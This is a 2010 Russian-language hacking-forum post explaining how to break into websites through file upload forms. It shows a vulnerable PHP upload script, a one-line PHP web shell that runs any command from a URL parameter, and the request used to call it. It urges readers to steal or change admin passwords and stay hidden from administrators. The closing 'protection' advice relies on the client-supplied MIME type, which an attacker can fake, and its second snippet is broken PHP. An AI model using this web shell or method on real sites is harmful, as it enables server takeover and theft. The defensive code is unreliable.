Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Ответ
 
Опции темы
Старый 13.08.2010, 14:32   #1
 Разведчик
Аватар для lotos007
 
lotos007 никому не известный тип
Регистрация: 19.04.2010
Сообщений: 7
Популярность: 18
Сказал(а) спасибо: 6
Поблагодарили 4 раз(а) в 3 сообщениях
 
Thumbs up Взламываем сайты через форму загруки

Сайты можно взламывать не только через SQL инъекцию, но и через простые формы загрузки файла на сайт или сервер
Вот как выглядит форма для загрузки файла

[Ссылки могут видеть только зарегистрированные пользователи. ]


Обычно загрузка файлов состоит из двух частей принятие файлов от пользователя и показа файлов пользователю. Обычно эти файлы называются так index.php и upload.php


index.php выглядит так

Код:
<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data">
 Select the file to upload: <input type="file" name="userfile">
 <input type="submit" name="upload" value="upload">
</form>

Основная уязвимость кроется в upload.php так как он обрабатывает и загружает файл на сервер

Не защищенный upload.php выглядит так

Код:
<?php
 $uploaddir = 'uploads/'; // Relative path under webroot
 $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

 if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
 } else {
   echo "File uploading failed.\n";
 }
?>
В этом коде нет проверки mime - тип фала, точнее кто не знает формат и это и есть основная уязвимость

В данном случае загрузка содержит большую дыру безопасности: upload.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:

Код:
<?php
system($_GET['command']);
?>
Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:

server/shell.php?command=any_Unix_shell_command

server - название сайта или сервера

А дальше ваше фантазия и знания PHP и MySQL помогут вам завладеть информацией сайт или сервера. Так же можно будет украсть пароль админа или изменить. Все что хотите, если будете аккуратно с ним действовать, а администратор не будет проверять содержимое сайт, то вы долго будет управлять сайтом


Защитить свой сайт или сервер можно следующим кодом и проверяя mime - тип файла

Код:
if($_FILES['userfile']['type'] != "image/jpg") {
   echo "Pfuhepbnt файл с форматом jpg";
   exit;
 }
Если вы хотите не только jpg файлы загружать, но и другие орматы как jpg, gif, png, то следующий код для вас

Код:
files_types = array (
"image/jpeg" => "jpg",
"image/jpg" => "jpg",
"image/gif" => "gif",
"image/png" => "png",
);

img_info = getimagesize($upfile);
$upfile_type = img_info["mime"];
if (!$file_types[$upfile_type]) {
echo Измените формат изображения;
}

Материал представлен В ОЗНАКОМИТЕЛЬНЫХ целях:bender:

Написал специально для ЖУК.РУ
Незабываем говорить спасибо
  Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
3AKyCKAw0w~ (14.08.2010), †PrEDok† (22.11.2010)
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взламываем сайт+ сервер на движке strees WEB!! ISharkI Архив 172 05.03.2012 23:13
[Руководство] быстро взламываем комнату с паролеи admin1221 Баги, читы и статьи по Point Blank 17 12.06.2010 10:49
[Руководство] Взламываем Аккаунты nikulin2 Вопросы и ответы, обсуждения 1 30.05.2010 13:55

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 18:04.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net